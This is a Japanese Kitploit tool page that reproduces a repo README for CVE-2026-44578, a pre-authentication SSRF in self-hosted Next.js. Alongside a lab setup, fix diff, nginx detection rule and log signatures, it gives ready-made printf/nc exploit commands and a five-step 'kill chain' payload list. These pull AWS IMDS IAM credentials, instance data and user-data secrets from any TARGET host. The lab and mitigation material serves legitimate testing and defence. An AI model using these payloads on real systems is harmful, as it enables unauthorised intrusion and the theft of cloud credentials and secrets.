Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-44578 — CVE-2026-44578: Next.js WebSocket Upgrade SSRF — localhost:80 を経由した認証前の資格情報の窃取。ラボ + エクスプロイト + 監査。 | Kitploit
ツール/GitHubGitHub/dinosn/cve-2026-44578
脆弱性分析エクスプロイトウェブアプリケーション悪用クラウドセキュリティ学習と教育ラボと実践
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket Upgrade SSRF — localhost:80 を経由した認証前の資格情報の窃取。ラボ + エクスプロイト + 監査。

リポジトリを見る
9233ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-44578 — Next.js WebSocket アップグレード SSRF

Next.jsのセルフホストデプロイにおける認証前のサーバーサイドリクエストフォージェリ(SSRF)。
1つの巧妙に細工されたHTTPリクエストで、localhost:80からAWS認証情報、シークレット、内部サービスデータを抽出します。

フィールド値
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TypeSSRF (CWE-918)
影響を受けるバージョンNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (セルフホストのみ)
修正バージョン15.5.16, 16.2.5
認証の必要性なし
ユーザー操作なし

脆弱性

router-server.ts の WebSocket アップグレードハンドラは、parsedUrl.protocol が真値である場合に常に proxyRequest() を呼び出します。これは、HTTP ハンドラが常にチェックしていた finished および statusCode ルーティング完了フラグを確認していません。

root@kitploit:~
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

normalizeRepeatedSlashes が http:/// を http:/ に縮小した後、ホスト名は null になり、http-proxyは正しいパスで localhost:80 に接続します。同じ場所にある任意のサービス(クラウドメタデータ、管理パネル、内部API)が露出します。


エクスプロイトコマンド

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl は絶対形式URIを送信できません。生のTCP(nc、ncat、socat、Pythonソケット)を使用してください。


動作の仕組み

root@kitploit:~
Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

ラボ再現

前提条件

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

セットアップ

root@kitploit:~
git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

これにより5つのコンテナが起動します:

コンテナ役割公開ポート
nextjs-vulnNext.js 15.5.15(脆弱)localhost:3000
nextjs-fixedNext.js 15.5.16(修正済み)localhost:3001
imds-sidecar-vuln脆弱コンテナとネットワークを共有する偽のAWS IMDSv1localhost:80(脆弱側から見た場合)
imds-sidecar-fixed修正済みコンテナとネットワークを共有する偽のAWS IMDSv1localhost:80(修正済み側から見た場合)
internal-api内部サービスのモック—

IMDSサイドカーは network_mode: "service:nextjs-*" を使用しているため、Next.jsコンテナ内の localhost:80 に偽のメタデータサービスが存在します。これは実際のクラウドインスタンスを模倣しています。

エクスプロイトの実行

root@kitploit:~
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

後片付け

root@kitploit:~
./teardown.sh

証拠

1. ラボの実行状態

すべてのコンテナが起動 — 脆弱版(15.5.15)が:3000、修正版(15.5.16)が:3001、IMDSサイドカーがネットワーク名前空間を共有。

Lab Running

2. SSRF — AWSメタデータ一覧

単一リクエストで完全なEC2メタデータディレクトリ(ami-id、instance-id、iam/、placement/など)を返します。

Metadata Listing

3. SSRF — IAM認証情報の抽出

完全なIAM認証情報セット: AccessKeyId、SecretAccessKey、Token、Expiration。

IAM Credentials

4. SSRF — ユーザーデータのシークレット

DB_PASSWORD と API_KEY を含むEC2ユーザーデータブートストラップスクリプト。

User-Data Secrets

5. SSRF — インスタンスID

同じSSRFベクターで抽出されたインスタンスID。

Instance ID

6. 修正済みインスタンス — ブロック

Next.js 15.5.16に対する同じペイロード。接続は即座に閉じられ、データは返されません。

Patched Blocked

7. IMDSログ — サーバーサイド実行の証明

偽のIMDSログは、127.0.0.1(Next.jsプロセス)からのGETリクエストを示しており、SSRFがサーバーサイドで発生していることを証明しています。

IMDS Logs

8. 完全PoCスイート — 脆弱版(7/7確認)

脆弱なインスタンスでは、7つのSSRFテストすべてが機密データを返します。

Full Suite Vuln

9. 完全PoCスイート — 修正版(0/7ブロック)

修正版インスタンスでは7つのテストすべてがブロックされました。修正が確認されました。

Full Suite Patched


キルチェーンペイロード

root@kitploit:~
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000

T をターゲットホストに、ROLE をIAMロール名に置き換えてください。


制約事項

制限詳細
HTTPメソッドGETのみ
ターゲットlocalhost:80(正規化によりホスト名が除去)
AWS IMDSv2悪用不可(PUTが必要)
GCPメタデータ悪用不可(Upgradeヘッダーを拒否)
Vercelホスト影響なし
リバースプロキシ配下nginx/Caddy/HAProxyが絶対形式URIをブロック

検出と緩和策

root@kitploit:~
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

AWS上ではIMDSv2を強制します(HttpTokens=required)。

ログシグネチャ:

  • Failed to proxy http:/ — プロキシがトリガーされたがターゲットに到達不能
  • http:///path バリアントは エラーログを生成しません — リクエスト行に http: を含むWebSocketアップグレードを監視する

参考文献

出典リンク
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-44578
GHSAhttps://github.com/advisories/GHSA-c4j6-fc7j-m34r
修正コミットhttps://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Hadrian 解説記事https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2
公開PoC (nextssrf)https://github.com/ynsmroztas/nextssrf

免責事項

許可されたセキュリティテスト、教育、防御研究のみを目的としています。自分が所有しているか、明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。

ツールをダウンロード